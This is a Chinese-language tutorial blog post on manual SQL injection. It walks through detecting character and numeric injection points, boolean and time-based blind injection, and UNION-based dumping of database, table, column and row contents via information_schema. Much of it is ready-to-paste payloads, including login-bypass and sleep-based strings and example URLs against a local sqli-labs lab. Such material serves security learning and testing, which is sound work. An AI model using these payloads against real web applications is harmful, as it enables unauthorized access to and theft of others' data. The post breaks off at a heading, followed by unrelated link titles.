• 二、sql手工注入


    一、SQL注入的本质

    解释:想要进行sql注入,肯定要发现注入点,一般简单的sql注入通过下面两种方式判断就能发现是否存在sql注入漏洞

    1.字符型

    注意:字符型注入可能为'"
    查询语句:

    select * from student where id='5';
    
    • 1

    字符型注入

    select * from student where id='' and 1=2 -- ';
    
    • 1

    分析:上面内容用户输入为' and 1=2 -- ,在此语句下and表示并列左右语句都要满足,因为1=2导致and一定返回false,所以这条语句肯定不能回显出其正确答案,以此可以判断出是否存在字符型注入 (但这种注入仅限存在回显的情况下,不存在的情况肯定要另加讨论)

    注意:字符型注入一般格式如' and 1=2 -- ,但是注意在网页当中提交请求中,' and 1=2 -- 最后的空格输上会被自动删除,所以要用' and 1=2 --+(+在url解码后就是表示空格)

    特殊情况:

    SELECT * FROM course WHERE Cno=(((('4'))));
    -- 这种情况简单的字符或者数字注入可能会有一些问题
    
    • 1
    • 2

    2.数字型

    查询语句:

    select * from student where id=5;
    
    • 1

    数字注入

    select * from student where id=1 and 1=2;
    
    • 1

    分析:上面内容用户输入为1 and 1=2,在此语句下and表示并列左右语句都要满足,因为1=2导致and一定返回false,所以这条语句肯定不能回显出其正确答案,以此可以判断出是否存在数字型注入
    (但这种注入仅限存在回显的情况下,不存在的情况肯定要另加讨论)

    二、SQL注入测试方法

    1.布尔盲注

    解释:布尔盲注适用于界面有明显的反应,即数据为显示与不显示两种状态(但是显示与不显示可能并不明显或者说很隐蔽),其实上面介绍字符型注入和数字型注入的时候就用到了

    简单例子-查询语句:

    select * from student where id='5';
    
    • 1

    简单例子-字符型注入

    select * from student where id='' and 1=2 -- ';
    
    • 1

    解释:其就是通过and后面的语句来构造,但是要保证and前面的一定要为true,否则后面的内容验证也就失去了意义,注入时也要根据具体情况来构造,比如验证账号密码就不能使用' and 1=2 --+(因为你可能不知道账号是什么,就是and前面的内容很可能是错的,但是登录需要账号密码都正确,这时用' or 1=1 --+或许能够有效解决问题)

    简单例子-应用实例:

    //判断是否是 Mysql数据库
    http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) --+
    //判断是否是 access数据库
    http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) --+
    //判断是否是 Sqlserver数据库
    http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) --+
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    2.时间盲注

    解释:时间盲注的意思,在布尔盲注失效,即页面无论怎么样注入都不存在回显的情况下,可能就需要用到时间盲注了,其原理就是,如果存在注入点,就执行睡眠函数,让页面去进行等待,以次去观察页面反应时间,如果页面大概等待了指定时间才返回值可能就存在时间盲注

    查询语句:

    select * from student where id='5';
    
    • 1

    字符型注入

    select * from student where id='' and sleep(5) -- ';
    
    • 1

    解释:上诉问题就是在页面没有内容回显的情况下进行的,当存在该注入点的时候,页面会睡眠5秒以上才会响应,这就是证明存在该注入点,可能通过类似此的方法来便利获取服务器的数据

    三、SQL暴库方法

    前提:此时已经找到了注入点,正在准备执行任意sql命令

    1.联合注入

    1.1 获取列数

    解释:只有我们知道当前的列数,后面才能让我们执行联合查询语句

    sql:SELECT * FROM course WHERE Cno='1' ORDER BY 5 -- ';

    快速利用:

    • 1' ORDER BY 5 --+'
    • 1' ORDER BY 5 -- '
      知识点:如上使用order by语句,当order by nn小于当前表的列数不会报错,大于当前表的列数就会报错,显示在程序页面可能显示为数据消失或者异常

    解释:通过发现注入点,想要执行我们的sql语句就要用到联合注入

    简单执行:SELECT * FROM course WHERE Cno='-1' UNION SELECT 1,2,3,4 -- ';

    常用函数:

    名称功能
    database()当前数据库名字
    user()当前用户的名字
    @@version_compile_os操作系统版本
    @@datadir数据库的路径
    version()mysql的版本号

    简单例子:SELECT * FROM course WHERE Cno='-1' UNION SELECT @@datadir,USER(),DATABASE(),@@version_compile_os -- ';

    1.2 获取数据

    1. 查询数据库有哪些库:

    • 解释:当知道了有哪些数据库才能开始从该数据库获取信息
    • 构造后语句:
      SELECT * FROM course 
      WHERE Cno='-1' 
      UNION SELECT 1,2,3,GROUP_CONCAT(schema_name) 
      FROM information_schema.schemata -- ';
      
      • 1
      • 2
      • 3
      • 4
    • GROUP_CONCAT(schema_name) 其相当于把内容显示在一行里面,因为在select里面只有1,2,3,4个位置,如果很多数据,无法按普通命令展示
    • 普通命令:SELECT schema_name FROM information_schema.schemata;
    • 原理:information_schemaschemata表里面放着所有数据库信息
    • 快速利用:
      • -1' UNION SELECT 1,2,3,GROUP_CONCAT(schema_name) FROM information_schema.schemata --+'
      • -1' UNION SELECT 1,2,3,GROUP_CONCAT(schema_name) FROM information_schema.schemata -- '

    2. 查询数据库有哪些表:

    • 解释:当知道了有哪些表才能开始从该表获取信息
    • 构造后语句:
      SELECT * FROM course WHERE Cno='-1' 
      UNION SELECT 1,2,3,GROUP_CONCAT(table_name) 
      FROM information_schema.tables 
      WHERE table_schema=DATABASE() -- ';
      
      • 1
      • 2
      • 3
      • 4
    • GROUP_CONCAT(table_name) 其相当于把内容显示在一行里面,因为在select里面只有1,2,3,4个位置,如果很多数据,无法按普通命令展示
    • 普通命令:SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE();
    • 原理:information_schematables表里面放着所有数据的表单
    • 快速利用:
      • 1' UNION SELECT 1,2,3,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() --+'
      • 1' UNION SELECT 1,2,3,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() -- '

    3. 查询表里面的字段

    • 解释:当知道了表里面有哪些字段才能开始从该表获取信息,当然有人可能说知道表名直接使用select *但是由于使用union的联合查询受到诸多限制,这样使用并不现实
    • 构造后语句:
      SELECT * FROM course WHERE Cno='-1' 
      UNION SELECT 1,2,3,GROUP_CONCAT(column_name) 
      FROM information_schema.columns 
      WHERE table_name='course' -- ';
      
      • 1
      • 2
      • 3
      • 4
    • GROUP_CONCAT(column_name) 其相当于把内容显示在一行里面,因为在select里面只有1,2,3,4个位置,如果很多数据,无法按普通命令展示
    • 普通命令:SELECT column_name FROM information_schema.columns WHERE table_name='course';
    • 原理:information_schemacolumns 表里面放着所有数据的表单
    • 快速利用:
      • -1' UNION SELECT 1,2,3,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='course' --+'
      • -1' UNION SELECT 1,2,3,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='course' -- '

    4. 查询表里面的数据

    构造命令:

    SELECT * FROM course WHERE Cno='-1' 
    UNION SELECT 1,2,3,GROUP_CONCAT(Cname) FROM course -- ';
    
    • 1
    • 2

    普通命令:

    SELECT Cname FROM course;
    
    • 1

    2.布尔注入

    解释:上面的例子里面已经介绍了布尔盲注的测试方法,同时还介绍了联合注入,但是可能存在一种情况,对方WAF过滤了union字段,那么我们根本就无法使用联合注入,那我们只能使用下面介绍的布尔注入

  • 相关阅读:
    Dos命令
    3D目标检测框架 MMDetection3D环境搭建 docker篇
    【数据结构】C语言实现栈
    鸿蒙应用开发-初见:入门知识、应用模型
    论文阅读:Segment Any Point Cloud Sequences by Distilling Vision Foundation Models
    MoneyPrinterPlus:AI自动短视频生成工具-微软云配置详解
    Java通用C# SM2加密解密
    定制开发APP 需要注意什么?
    Java常用API之String
    关于在分布式环境中RVN和使用场景的介绍4
  • 原文地址:https://blog.csdn.net/weixin_46765649/article/details/134092760